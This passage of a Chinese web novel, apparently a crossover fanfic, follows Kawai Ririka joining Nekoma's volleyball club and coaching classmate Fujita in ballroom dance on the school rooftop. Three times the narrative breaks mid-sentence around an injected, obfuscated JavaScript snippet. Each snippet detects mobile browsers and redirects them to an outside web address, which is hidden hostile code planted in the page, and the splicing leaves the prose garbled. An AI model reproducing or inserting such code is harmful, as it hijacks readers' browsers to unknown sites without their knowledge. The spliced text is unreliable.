但他又有点明白川合莉莉香。他心思细腻、善解人意,知道她没有骗他。 竟然有人那么努力想回应别人的情感——他想说这是多么不知天高地厚的想法。要知道无论是谁的喜欢都是瞬息万变的,同班同学会因为川合莉莉香的外貌喜欢她、追捧她,也会在某天因为一点小事、一点龌龊就反噬。哪怕是学校中心的人气王、校园偶像,也并非一片好评,阳光下总有阴翳。所以最好的态度,是不要把这些人放在心上。 但他又说不出任何责备的话。 尽管她的想法如此幼稚、天真。 富士田多多良叹口气,换了个话题,“所以你是为了打排球才去剪的头发咯。” 我点点头,“已经下定决心了。” “你会觉得我冲动吗?” 回到家时,这个身体的父母看到比正常时间晚归的我,先是焦急。注意到我剪短的头发,川合夫人快晕倒了。两个疼爱女儿的人围着我嘘寒问暖,问我是不是在学校发生了什么事情,非常隐晦地问是不是被欺负了。 本就不习惯他们对待小孩子一般小心翼翼的关切,这下我更无语了。只好好好解释,我是加入了新社团。 川合夫妻并不理解,为什么国中对排球毫无兴趣的女儿,会在高中加入排球社?也不理解她怎么这么果决匆忙,去剪了自己的头发。 富士田多多良并没有流露和川合夫妻一样的异色。他歪着头,温顺的眉目下用支持的眼神注视我:“能找到自己喜欢的事物是一件好事。” 国三的他,没有任何目标,当被班主任问道没有任何目标吗的时候,他状似不严肃的糊弄过去,但内心是期待一个让他挺起胸膛说出喜爱的事物能让他发生改变。 后来他也确实遇到了——社交舞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218640|197470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以他真心实意盼望川合莉莉香也能发现目标。 “我不会觉得你冲动啊,我也是高中才开始跳舞的。”富士田说,“高中才开始尝试,很多人都说晚,但我觉得总比一直没有发现这样的自己好吧。” 我笑了起来,“跳舞,那真不错。” “川合同学是也喜欢跳舞的吧。”富士田多多良说。 我声如蚊蚋,好半天答道:“……嗯。” 富士田多多良:“为什么不经常听你提呢?”他急切地说,“昨天兵藤君,啊,就是我的一个朋友过来找我的时候,说看你的姿势,就是从小跳舞的人呢。” “为什么川合同学自我介绍时不说呢?我也是喜欢跳舞的。”他说出喜欢跳舞时被嘲笑觉得自己异类时有多么尴尬,在察觉到川合莉莉香似乎对跳舞有特别情感时就有多么惊喜。 他太想要志同道合的同伴了。 富士田的口吻带上几分委屈:“如果你说出来——” 兵藤清春是他在小笠原舞蹈教室认识的国标舞的舞者,是天生的舞蹈奇才,让他觉得高不可攀。 兵藤来音驹找富士田多多良,观察力出众的他第一面就从富士田邻座的人身上感觉到了异样。 “那个女孩子,很强。”手插兜的兵藤抬抬下巴示意多多良看那边的女孩,“没有相当的锻炼,没有办法保持那个姿态的。” 多多良定睛发现是坐在他旁边同年级无人不知的美女川合同学,老实话,他因为是她邻座而距离近的缘故好几次被校内男生找茬,还是路过的赤城贺寿救了他。 他没有因此迁怒川合同学,只是兵藤的话总是让他耿耿于怀,萦绕在心里。结束了“天平杯”之后,赤城真子不是他的舞伴了,如果不能找到新的舞伴就没办法参加接下来的比赛了。 虽然说和那样美丽耀眼的女孩子一起跳社交舞好像有点厚颜无耻了,但是他还是会在深夜时不受控制地假设。 川合同学能不能成为我的舞伴呢? 一直想,一直想。 尤其是经过“相亲”也找不到舞伴之后。 他想得更厉害了。 ——川合同学要是能成为我的舞伴就太好了。 “如果你说出来也喜欢舞蹈——”富士田像小狗睁大水汪汪的眼睛,可怜兮兮,“我可以带你去我的舞室,我想邀请你做我的舞伴。” 我:“……” 为什么不说呢?是觉得这个喜好丢人吗?当然不是了,只是觉得唏嘘。自我介绍时富士田很大声向所有人宣告他喜欢跳舞,其他人嘲笑,我却震动。 那是一种伴随隐痛的感觉。看到真正热爱跳舞的人,而没能坚持下去的我、无法在这条道路上继续的我,面对还诚挚爱着舞蹈的人,觉得羞愧。 面对让人无法招架的富士田乞求的目光,我轻声说:“多多良,谢谢你的邀请。” “上次绯山同学打断我,我没有和你说清楚。” “我确实喜欢舞蹈。”我打断他眼里亮起的惊喜,又继续说,“可是我喜欢的和你,不是一种舞蹈。” 我说:“你应该是初学者,所以只接触了一种舞蹈,对你来说,包含摩登舞与拉丁舞两大系列共十个舞种的社交舞已经是相当庞大的世界了。” “但我喜欢的,是和你的社交舞更加天壤不同的存在。” “所以我没办法当你的舞伴,” 富士田到很久的后来,和绯山千夏搭档后的很久的未来,也无法忘记那个时候的川合莉莉香的表情。 是怀着无限缅怀和悲伤的神情,像谈起一个已经逝去的朋友—— 她说:“我热爱的,它在这里是找不到的。” 他很想安慰她,问:“也许能找到,只是需要时间也说不定。” 她黯然地摇摇头,只是呢喃:“回不去的……” 找得到老师,找得到回家的路吗? 9. 第 9 章 “对不起,我好像说错话了。” 察觉到我情绪低落,富士田多多良慌忙道歉。他趴在桌上,下巴抵着桌面,有气无力地说:“我还没有找到舞伴呢。没有搭档,还比什么赛啊。” 他唉声叹气。 “总不能一直一个人练舞步吧。关键的配合怎么办呢。” 川合同学不能当他的舞伴。他垂下眼睛,遮住眼底的失落。 我犹豫半晌,“如果只是练习的话……” 他抬起头,顶着灼灼的目光,我把剩下的话说完,“如果只是练习,我中午午休可以陪你。” “真的吗?”他眼睛瞪得溜圆,嘴巴张开,发出一声惊喜的呼喊,大喜之下,他吐词颠三倒四:“真的,真的嘛,这,这真的太感谢了。” “嗯。”他的反应让我的提议说出来更加心甘情愿些,我点点头,“你是班级里愿意和我主动交流的人,平时你帮了我很多,是我该谢谢你。” 日本有很多习惯和中国不一样。比如在学校要换室内鞋,我都是看别人怎么做,跟着做,这样显得正常。但一个人待着的时候,我总会担心什么时候会露怯。 所以我确实感谢他。这个温柔又细心的少年,坐在我旁边。 他不会对我偶尔的生疏大惊小怪,我问什么,他都耐心解释,从不多问“你怎么连这个都不知道”。 善意不是理所当然的,我也不是瞎子。他对我的殷切期盼,他的失落,我都看在眼里。只是注定要辜负。 我于心不忍,无法对他的苦恼视而不见,我希望能在其他方面补偿他。 说补偿也不对,只是能尽我所能帮助一二就行。 “没事没事。”富士田多多良受宠若惊。 他想,他只是做了些很平常的事情。甚至他不敢说,只要川合莉莉香愿意主动开口,想帮助她和她产生联系的人群会立刻吻上来。 然而他的神明是那么温柔,没有因为他不起眼就对他视而不见,相反隔着云端投来三分垂怜,就已令他不胜欢喜。 富士田多多良喜出望外的神情令我心情愉悦。 能为别人的梦想助力,也很好啊。 我这么想,少年意气难得。 梦想、努力、希望,都是一些明亮而美好的词语。 午休的时候我和他约到天台见面。 练习跳舞需要场地。排球馆是个好地方,但社团活动室的钥匙在学姐手里,我没有。操场和走廊他提过,我拒绝了。太引人注目,而且众目睽睽之下跳舞,太羞耻。折中考虑,无人的天台僻静又隐蔽,是一个好选择。 和吃完饭后散步着上来的我不同,富士田比我先到,我甚至怀疑他中午饭有没有好好吃,是不是随便买了面包或者扒拉了几口就慌慌张张来了。 我随便大致扫了一眼天台,目光所及之处都没有人,便催促他:“快点吧,午休的时间不长,早点开始,可以多练习一下。” 谁曾想,正还很兴奋的人,临到了,却扭扭捏捏了。 社交舞舞伴之间要有肢体碰触,手等一些部位要搭在一起,不然怎么社交呢,我抬起手,示意他要把手交给他,他倒好,像出嫁的新娘,满脸羞涩。 “哎呀,这多,多不好意思呢。” “正常跳舞,你在想什么呢。” 他满脸旖旎,还真是新人,我对他所说他高中才接触舞蹈这件事终于有了切实的感觉。 对于常年跳舞的人来说,对舞伴是不会有男女之想的。尤其当他踩了你的脚,或者没接住动作把你摔到地上——那一刻只想掐死他。 对舞伴只有“想跳死他”的念头。 我主动伸手搭上他的手,另一只手纠正他右手的摆放姿势,“右手掌要放在这里哦。” 我触碰到富士田的手背时,他像触电一样跳起,浑身哆嗦了一下。 女孩子的手,手指白皙纤细,在覆盖上他手背的一刻,他几乎能感觉到突起手骨的形状,而一瞬间的温度像温凉的软玉。他们已经站成了正确的姿势,分开半步面对面。 虽说对川合莉莉香的美貌早已不像刚开学那样震惊到失神。富士田甚至以为自己应该习惯了,但以如此近的距离对视,这份不可方物的美丽还是如狂风骤雨般直面侵袭他。 他失神中忘记了动作,以前学过的舞蹈基础,在这一刻,仿佛已经失踪去九霄,他完全无法正常动作。 我又提醒了一次。他满脸慌张和歉疚,连声说着“不好意思”,跟着我的指引,把手放在该放的位置。 我没放在心上,新人紧张正常,我对社交舞也不精,都是舞蹈,但研习的方向不同,只是过程中太多机会让我接触过、了解过。 我安慰他:“没关系的。” 但一会我紧紧蹙眉,因为这样子练习效率太差了。 我伸手放在富士田的头两侧,施力摆正他的动作,在我力的作用下,他闪避的眼神不得已和我对上。 “这样子是不行的吧。社交舞需要舞伴双方的肢体交流,如果多多良都不愿意看我,我们没办法练习啊。”我一字一句对他说,“国标舞可是双人的竞技,好好关注自己的舞伴啊。” 我已经有点不满了。 “你在想什么啊,把心思放到舞蹈上来啊。” 【你竟然问我想什么?】富士田多多良快气笑了,他想理直气壮反驳的心思在对上满脸单纯不解和不满的少女,又烟消云散化为一滩委屈抱怨。 到底是对自己的魅力一无所知到什么地步啊。 他这时候真想喊出那句——‘我只是普通男高中生啊’这句话了。 富士田甚至想苦笑,别说是他,兵藤清春来,那样光芒四射又才华横溢的少年,他憧憬的对象来。 他都不信兵藤清春会对这个少女无动于衷。 这样的烦恼富士田说出来,我也无法将心比心。 我的想法很简单,既然要练习,自然要拿出百分百的专注。 所以对富士田的明显走神,我恨铁不成钢,他都说了比赛在即,还有时间在这里浪费吗?我是个急性子,要不是觉得还没熟到可以直说的份上,我早骂他了——你舞技很好吗?姿势都不标准,还不赶紧练,等着比赛那天对手集体退赛吗? 我沉声提醒他:“多多良,练习要专心啊!” 说完,我再一次举起右手,虚放到空中,用眼神示意他赶紧握上。 被说了……多多良回过神,带着慌乱的赶忙抬手握住我的手。 和刚才第一次一触就松开不同,这一次他听从指令扎实地握住了对方的手。 咦?和之前搭档赤城真子小姐有明显差别的触感,真子小姐的手掌是娇嫩的,光滑无比,握住时仿佛抚摸一匹上好的绸缎,触感明明白白昭示着——这是女孩子的手。。 “你的手……”他问。 这不是他想象中的会属于川合莉莉香的触感,像童话公主一样应该受到所有人喜爱的她啊,谁会舍得让她的手受累呢。 我正集中精力回忆社交舞的动作要领,回答得漫不经心:“有点红肿,正常。” 他还在看,我索性抬起手来,并没有藏起来的想法,“没什么,都是正常现象,昨天练习猛了点,手掌摩擦部位发红、起水泡了。” “你也太勉强了。”他比我还心疼,捏着我的手反复看,“这里都因为摩擦发白起了。” 发红的手掌比正常状态摸上去微热。 “肯定很痛吧。” “当然咯。”我不在意,“可是,这才是我努力成效的证明啊。” “而且这些伤痕以后还会结茧,结茧之后就不痛了。” 这和跳舞的过程很像,做半脚尖站立和拧倾动作时,前脚掌会痛,但是渐渐结茧,等到这里的皮肤渐渐变硬变厚就不痛了。 从痛到不痛,结茧的过程仿佛在见证自己的蜕变,我喜欢看到这种变化,有瘾一般。 我把这种烙在身上产生的变化视作一种眼睁睁目睹自己进步的勋章。 “可是……”富士田看着我,叹了口气,“能少痛一点,不是更好吗?” “你在说什么傻话。”我说,“你练跳舞,也会痛的。” 中国舞需要极致软开度,社交舞表面上对柔韧性要求不高,但要做完美标准的动作,一样要吃苦。男方要保持稳定的持握框架,肩胛骨要内收下沉,手臂要持续对抗张力,上背部到斜方肌都会酸痛。 我斜睨了他一眼,没把后面的话说出口。 他现在还没到痛的时候,是因为练得还不够。 等训练量上来了,看他还这样一副旁观者姿态。 我们都是是新手,我是排球上的新手,而富士田多多良是舞蹈上的新手。 我们在某种意义上,背负着相同的境遇。 在我看来,他哪有资格心疼我,因为他某一天也总会到现在我的这一刻——肌肉酸痛受伤也要咬牙继续坚持。 这是只要想继续这条道路,就或早或晚会面对的事情。 富士田:“可你毕竟是新人。” 我右脚后退, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218641|197470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚尖点地。原本该是男方带动女方接右转步,我主动加大力度,拽着他右脚前进,逼他向右转身。 “你没有和我一样,身为新手,却无比贪婪,有剑指至高点的野心吗?”我问。 一个抱怨“找不到舞伴就不能继续参加比赛”的人,既然还想继续参加比赛,就不是只是玩玩的程度吧。 我知道他怜惜我的辛苦,昨晚我安抚担心不已的父亲和母亲,他们既欣慰我第一次对他们说我有想做的事情,又心疼。 川合夫人对我说:“不要太勉强自己啊,你只是初学者,比不过前辈是很正常的事情。” 她知道自己的女儿性格有多么好强。 看来这一点,哪个世界的“我”都一样。 因为是新手,就可以心安理得接受别人就是更强的事实而升不起反抗之心? 我偏不。 泷枝子说她会用比我努力一百倍来填补我和她之间天赋才能上的沟壑吗? 她可以,那我也可以。 我胸中涌起一股被泷枝子激起的豪情,我要用实力告诉她,我不会认输的,我也会回报更强的努力去追上现在的她。 如果已经落后别人一百步,就在别人跨一步的时候,我跨两步、甚至三步、五步追上前面的人。 “我已经下定决心,要在这一领域赶上学姐们。”我目光坚定看着多多良,“我绝对不会成为音驹决胜的弱点的,相反——我要成为帮助它无往不胜的宝剑!” 我松开拽住他的手,抬头从天台往外望去,天台是音驹的最高点,而它的上方天空是如此旷阔,往远延伸至无尽头。 我第一次正眼好好瞧瞧这个世界。 我想,人怎能止步不前呢? 自穿越以来,积压在我心底的包袱仿佛伴随着我的呼吸间舒散了些,胸中从未有过的畅快淋漓,不顾多多良的注视,不管什么淑女的风度形象。 我用尽全身的力气朝着远方大喊:“我就要赢!我就要当冠军!” 喊完之后,从头到脚没有一处不爽。 我就是这么好胜心强的一个人。 我知道这样很不可爱。 但是——我就想这样,我想要获得最好最大的果实,我想我做的一切都得到最好的结果。 既然要做,就做到最好! 【这就是你跟她气量的差距啊。】 多多良怔忡,他一瞬间福至心灵,不由羞愧。 之前“天平杯”输给了赤城贺寿和花冈雫的组合取得第二名的时候,他竟然还沾沾自喜——“这也是没办法的事情,他毕竟起步晚了啊”的这种想法,现在看来,难道不是理所当然给自己的失败找借口吗?! “我明白了。”他端正态度,他郑重地牵起她的手,“请好好指导我吧。” “还有,谢谢你。” 午休的时间一晃而过,快到上课的时候了,我已经和多多良练习了几个来回。他端正态度之后,进度还算让人接受。我两约好明天老时间过来。 我两走后,一个身影从天台上突起平台的上方坐起来。 “想赢,想成为冠军嘛……”坐起的黑尾铁朗伸手扒拉自己一头不规整的头发,“还真是听到了不得了的‘豪言壮语’呢。” 音驹,可是没落的豪强,已经连续几年十六强都没有进过了。他也想过振兴音驹,谁不想赢呢,但是强敌环伺,他没底气说出想冠军的野心。 八强,或者四强,就已经很难了吧。 但他忘了,难做和不想做是两码事。 如果从一开始就连想的想法都放弃了,就一定不可能了。 黑尾铁朗哑然失笑,“我竟然还没有一个一年级的学妹有斗志。” “不过,幸而还来得及……” 谢谢你啊,川合学妹。 他在心里默默说道。 川合莉莉香是一年级,但美貌的名声是口耳相传的,早已名动整个音驹,三年级的他自然也听说她的名字。 躲在天台上休憩听到门开合的声音,黑尾铁朗眯起眼,从少女入目的一瞬间,他立刻明白了同班男生曾经说过的话。 “你看到的最美丽的人,那一定就是川合莉莉香。” 他喜欢美少女,每一个人都喜欢,但他没有想到,真人除了美貌,还有让他心动的地方。 黑尾铁朗站起身来,悠哉往班级走去,眼睛里确实有些东西不一样了。 真是被上了一课了,他这个做学长的,他想。 身为学长不能甘于落后啊。 10. 第 10 章 像往常一样,黑尾家的清晨从洗漱台前的并排站立开始。 两张相似的面孔对着镜子,同样的黑发造型奇特,同样的眼神慵懒没睡醒。但黑尾铁纱今天怎么看黑尾铁朗都不顺眼。她太了解他了——硬是从他没睁开的眯眯眼里读出了几丝不怀好意。 奇了怪了。 她一边刷牙一边暗自琢磨,这家伙不会在动什么坏心思吧。 作为妹妹,她对他毫无信心可言。 黑尾铁朗“咕噜噜”漱口,做作地“佯装”随意开口道:“呐,妹妹啊……” “刷牙的时候不要说话,沫子都飞出来。” 黑尾铁纱打断他,把任何不轨的苗头堵死在襁褓中。 黑尾铁朗不满:“我们的兄妹情这么单薄吗?你就这么对你的好大哥说话?” “呵呵。”黑尾铁纱斜他一眼,“你平时对我都直呼其名。也不知道是谁,还叫我‘怪兽’来着。” 黑尾铁朗语塞。 难道是自己平日里欺负得太狠了?他对着镜子瞥了妹妹一眼,难得良心发现。 但很快他就给自己找了理由——年龄相差不大的兄妹,不都这样一边打架一边长大的嘛。他毫无心理负担地原谅了自己。 要平时这个态度,他也就暂时歇了心思了,不过今天黑尾铁朗不能放弃,他格外执着,不得不得不说当妹妹的了解哥哥,他确实有小心思。 他指望她给他的爱情之路牵线搭桥。 俗话说得好,肥水不流外人田。 自己亲妹妹的后辈就是他的后辈,嫡亲的好学妹,那他关心她、想了解她更多岂不是太正常不过了。 这话得亏他没说出来,不然正牌的嫡亲学弟灰羽列夫不满了。 学长,你操练我的时候不是这幅面孔啊。 你是把我当外国人整啊。 不过哪怕灰羽抱怨,黑尾铁朗这么心态稳的人,也只会理直气壮:“诶,你就是外国人啊,你混血啊。” 此刻,黑尾铁朗依旧发挥了他惯常的稳健心态和厚脸皮,对黑尾铁纱的嫌弃充耳不闻,自顾自接着说:“你们排球部有新人了哦,我昨天看到了。” “不介绍、不给电话、不牵线,给我滚!” 铁纱冷硬回答。 “什么啊!”黑尾铁朗冤枉大喊,“你就这么对你的亲大哥吗?” 他从嘴里拽出牙刷,啪啪拍着水池台面,“阻挠我的爱情对你有什么好处?” “智者不入爱河,懂?” “就你这样还想肖想我们部前途无限的学妹?”黑尾铁纱面无表情,“死心吧,我是不会让你成为我们宝贝莉莉学妹排球明日之星路上的绊脚石的!” 黑尾铁纱身为部长,最为护短。 哪怕亲哥,在她眼里,也是准备随时拱别人地里白菜的野猪。 她冷笑一声,有意思哦,自己家的白菜才刚刚长势良好,虽说排球社不禁恋爱,但她也绝对反对这些个男的就来勾引学妹不务正业。 都给她滚犊子。 完了,看来走妹妹路线果然是失败。 想弯道超车还是想得太美了,黑尾铁朗沉吟片刻,摇头晃脑,看来还是得靠自己的努力。 真男人就是要事业爱情两头硬! 于是,音驹排球部的策略师今天又斗志昂扬准备筹划了呢。 把这些小插曲先放一边,回到正题。 大部分的运动社团都是有晨训的,今天算是我正式入排球部后的第一个晨训,正常学生八点半上学,晨训通知的时间是七点半到八点,留二十分钟整理。但上过班的人的都知道,通知七点半到,就不能踩点到,得提前到。 我充分保留了过去当过社畜的“高情商”,像第一天上班的新人,七点过一点就早早在体育馆门口候着。 大门没开,我没钥匙。 不过没等多久,手里拿着体育馆钥匙,负责开门的黑尾铁纱学姐就到了。 她迎面撞见我,脚步顿了顿:“你来这么早啊?等一会儿了?” 目光落在我身上,又顿了一下。 “你剪头发了?” 她没问很多,没有问为什么剪啊,没问我想到底在想什么。 如果她问,我肯定会解释一些,说些我的想法。其实我是想说的,我后知后觉认识到,之前太坦诚自己对排球的态度,确实不太妥当。就像当着一个追星的人,冷漠地抛下一句“你觉得你追的明星也就一般吧”,肯定会让人不高兴的,拉黑都有可能。 我不是想说谎,也说不出来。她们对排球的热爱超过我的想象。参加社团之前,我确实把社团活动当做一项强制任务。 但我现在略有些懂了。这些小姑娘们——我的实际年龄是可以在心里这么称呼她们的——她们投身在这项运动中的热情、激情、奋斗和付出。 那么我不该用轻率的态度去点评。把话说得尽可能漂亮一些,并不是虚伪,是对别人的尊重。 如果再给我一次机会,我会说:“是的,我确实不了解排球。但是排球社的大家都很好,所以它一定是个不错的运动。” 我希望黑尾铁纱多问我两句,但她没有。 然而她欣悦注视我的目光,我又觉得一切尽在不言中,不需我多说,我的变化她看在眼里。 其他的队员陆陆续续在我们之后也来了,麻美学姐凑过来,盯着我的头发,两腮鼓得像只小仓鼠。泷枝子学姐倒是一如既往嘴硬,撇过脸抛下一句:“还、还不错吧。不过不要以为这样就够了!” 但既然不喜欢,为什么嘴角偷偷翘起来了呢? 原来日本漫画里傲娇属性是真的存在啊。 她们见到我都很高兴,长长短短的一声声“莉莉”在活动室里此起彼伏。 我摸了摸发尾,觉得嗯,这个头发剪得很值,意义不仅在于方便我自己,我做出了这样的舍弃,她们才彻底、完全接纳了我,认同我作为之后道路上一起奋斗的伙伴。 她们大概在想,这个女孩真是舍得,这说明她是真的坚定,不会中途逃跑和放弃。 因为关系的进展,我们也开始聊一些排球之外的闲话,铁纱学姐突然像想起什么,双手握住我的手,非常紧张叮嘱:“莉莉啊,如果最近有一个长得人高马大,和我有点像的奇怪男子和你搭讪,你千万不要搭理他。” “他可不是好人啊!” 她重重点头。 在她的殷切目光下,我顺从地附和,承诺肯定不随便搭理陌生人。 但是,和学姐长得像的人啊,我转念一想,那不应该是她兄弟之类的人吗?正常两个无关的人也不会相像吧,这个指向性未免太强了。 说自己的兄弟不是好人……怎么说呢,身为听者感觉是复杂呢,还是复杂呢。 抛砖引玉,我顺嘴就告诉她昨晚上加训时意外碰见的夜久卫辅。 “嗯不错不错,你碰到他算是碰到对的人了。”她欣赏点头,相当认可夜久卫辅的自由人水平足以令音驹引以为傲,技术之高超。 “你啊,赶紧趁机会,多偷师,不——多请教下他。”黑尾铁纱说,她话锋一转,又面露不赞同,“下次不要加训太晚,我知道你心急,不过欲速不达。另外女孩子要注意安全,你下次这样我就要硬陪着你了。” 我来到这个世界,第一次收到来自平辈这样絮絮叨叨的关心,新鲜中带着一丝暖意。 确实都是很好的人。 黑尾铁纱知道川合莉莉香认识了夜久卫辅后,其实也想到了一件小事。 说起来,现在的短发莉莉,完全是夜久前辈的取向狙击啊,正正击中他的喜好。 黑尾铁纱有一搭没一搭想着。 男排的所有人她都认识,夜久卫辅了解更深,是因为自己不着调大哥黑尾铁朗高一和夜久卫辅曾社团里斗嘴,甚至快吵起来——她有所耳闻,觉得这两个人实在是缘分匪浅,活得和镜像一样,一个长发控,一个短发控;一个狗党,一个猫派。 是哪里都不合,偏偏能在一个社团齐心协力。 虽天差地别,现在也都成了音驹可靠的支柱。 因为早晨黑尾铁朗心怀不轨的试探,黑尾铁纱提起了警惕。 夜久前辈,不会对我们莉莉也有想法吧。 铁纱可疑地想。 然而她很快又放下了这个想法,怎么说夜久前辈都比黑尾铁朗在她心里可靠多了。 安心吧。 “接得好!” 发疯一样练习鱼跃果然有用,身体形成肌肉记忆,再往右方倒过去也不会恐惧,身体的惯性比恐惧先一步到达。不是先做好倒的准备才去做,那样真的会下意识抵制摔倒,而是已经盯着球身体自己动了,顾不上去思考会不会摔倒。 与前几天不自然的动作完全不同,这一次我成功接住了一枚被拦住而弹回来的球。 我做得比原先更好,能够控制住球的方向,它直直向二传手的枝子学姐方向飞去。 枝子学姐没预料到球会顺利到达她的方位,她呆愣之下伸手把球稳稳抱在了怀里,而不是垫出去,违规持球了。 直到负责裁判的同学吹哨提示她动作犯规,她才如梦初醒。 “你成功了啊。” 她神情惊讶又复杂,欣慰中夹杂一丝落寞,但她很快敛了神色,直言夸道:“接得好。这次是我的问题,下次我就会配合上了。” “嗯。” 低头看着自己刚刚接球的那只手,真是不可思议,原来成功接住球是这样的感觉,很踏实地触碰到,甚至有一种奇妙的感觉——我碰到球的时候,隐隐就有感觉,是上天在告诉我,这球对了! 这种感觉挺好的。 上一次有这个感觉,是练习跳舞时,一个动作总是做不对,一遍遍练一遍遍摔倒。在最后一次,像是神明在指引我的身体,回过神时已经完成了。 我又一次找到了这种快乐,从做不好到发现自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218642|197470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能做得好。 我现在有点懂了,为什么麻美学姐说我很适合,铃那同学说排球不会让我失望了,因为她们都看出我可以很擅长,而做一件擅长的事情,是会带来成就感的。 靠着无数的成就感,就可以继续。 而我现在只是往前迈出了一步,我握拳,不够,我还可以更强。 教室准备上课时,早上晨训后因劳累引发的疲倦感一阵阵上浮,我猛灌了一口从便利店买的咖啡,在咖啡因和意志力的双重帮助下,我努力克制住如潮水般侵袭的睡意。 为了转移注意力不去想睡觉,我的视线开始漫无目的地游荡,直到落到某个倒头睡得正香的人身上。 嗯,我这下终于明白,灰羽列夫为什么每天早上都长睡不起,如同睡美人了。 看来男排的日子也不好过啊。 我很嫉妒,他睡得太没有顾忌了。 我是很多知识学过一遍还有印象,可是他作为真正的高中生,真的可以完全不听课么? 我不知道灰羽列夫的成绩好不好。 但我很羡慕他被安排坐在最后一排天选座位上,这个位置肯定很好摸鱼,是上课偷偷睡觉的绝佳宝座吧。 不过很快我就不嫉妒他了。 因为他遭报应了,课堂小测他逃不过。 课间时,班主任就把我叫到办公室,我还纳闷原因。推门进去的时候,灰羽列夫已经在那了,傲立的身高让办公室的天花板都显得低矮了,在比他矮小很多的班主任老头面前,他佝偻着腰被我们班小老头的班主任训得像他们家的不孝子孙,灰羽列夫一个超过九十度的大弯腰站在班主任前面,而小老头一副气得够呛的模样,训得唾沫星子飞溅。 “看你一副外国人长相,怎么英语这么差呢?不应该啊。”班主任的声音从办公室里飘出来。 这小子,成绩这么不好的么? 我面上不动声色,心里却暗暗称奇。我还在奇怪这家伙前几天天天睡觉是准备怎么应付学习来着,原来竟不是那种每天睡觉也能考得很好的学神人设么? 因为他长得很主角,吸收了外国人血统的深邃五官和健壮的体格,我还以为他是拿着校园男神剧本的人呢。 原来是笨蛋啊,活的笨蛋在我眼前。 我没有把我失礼的感叹说出口。 不过,骂灰羽就骂灰羽,喊我来干嘛,这里面还有我的事情吗…… 小老头终于瞥到我,立刻抬手招呼示意我走近:“川合,你过来!” 他又气得抖手中那张已经因为在空中甩了好几下,有褶皱的可怜卷子。 “怎么能考这点分?你就是蒙也不会只对这点吧,三分啊,就只有三分啊!!” 灰羽找到空隙,竟然还委屈巴巴地回了一句:“我是蒙的啊,我全选的C,哪知道这次考试C只有三题啊。” “怎么,你还怪我们答案设置的有问题吗?!”小老头怒火万丈。 …… 噗,对不起,我忍不住在旁边笑出了声。 我小声的笑声让这两人的注意力转向我,我把表情憋回去。 不该笑的,但我是笑失禁体制,很难忍住。 班主任把炮火转移到我这,他说:“川合,你是咱们班英语成绩最好的。” 不意外。 他下一句:“我把灰羽交给你了,他的座位我已经换了,就坐你旁边,他上课你给我盯着他!” “那不好吧。” 不是,这种优带差不是中国国情吗?怎么日本也来这套,我读书还要扶贫吗? “怎么不好?”小老头没想着我会拒绝。愿意给灰羽列夫补习的人还挺多,他在班上因为优秀的外貌、杰出的运动天赋、健谈活泼的个性很受欢迎。但班主任不敢把他交给其他人,交给川合莉莉香也不仅是因为她成绩最好。 交给其他人万一早恋了呢?这小伙子虽然笨,但是长得确实好。 可是川合莉莉香就不会有这种担忧了。 班主任很有自信,她看不上他。 “就这么决定了,没有意见!” 小老头拍板。 “哦……”我两没有人权地应道。 和灰羽一起走出办公室后,看着眼前新出炉的同桌,尤其是手上拿着班主任托付给我的灰羽同学的惊世之作——某三分的英语试卷,我心里百感交集。 好可怕啊,竟然有人只能考个位数,鸡啄米的正确性都比这高吧。 我盯着他,他望着我,我两面面相觑。 灰羽列夫听到我嘴里飘出一句自言自语:“不是日俄混血吗?混血英语应该挺好的吧。” “太不科学了,混的是哪门血啊。” “这完全就是偏见啊!”听到我不小心说出口的疑问,灰羽列夫顿时不平静了,“我混的是俄国不是英文国家啊,而且我一直在日本长大,是纯正地道的日本人啊!” 我看了他半天,泄了气。 行吧。 11. 第 11 章 老头言出必行,生怕我们后悔把这事糊弄过去,他立马落实换座事宜,我左边是富士田多多良,右边原是个扎马尾的妹子。 她收拾得很慢。一支笔,又一支笔,慢吞吞地把文具书本收进包里。 灰羽列夫的动作麻利多了。是不是男生东西少的缘故?他三两下把东西堆在一起,抱在手上,像个柱子杵在扎马尾姑娘旁边等。 小小的空间挤了三个人,我呼吸都不畅了。 我小声说:“你这样不好吧。”瞥了一眼动作悠闲的女孩,觉得催促也不好——好像我很想赶她似的。我对灰羽说,“你等会儿再来呗,也不着急。” 灰羽列夫瞅我一眼,皮笑肉不笑把视线转回妹子。他好脾气地说:“没事啊,我也不着急。反正慢慢等呗。” 我:“你不能回原来的座位等吗?” 他脾气上来,“我就要在这里等。” “啪。” 马尾女孩把最后一本书恶狠狠摔在桌上,一摞书合在一起故意和桌面撞得砰砰响。 她抬起脸,阴恻恻地盯着灰羽列夫。 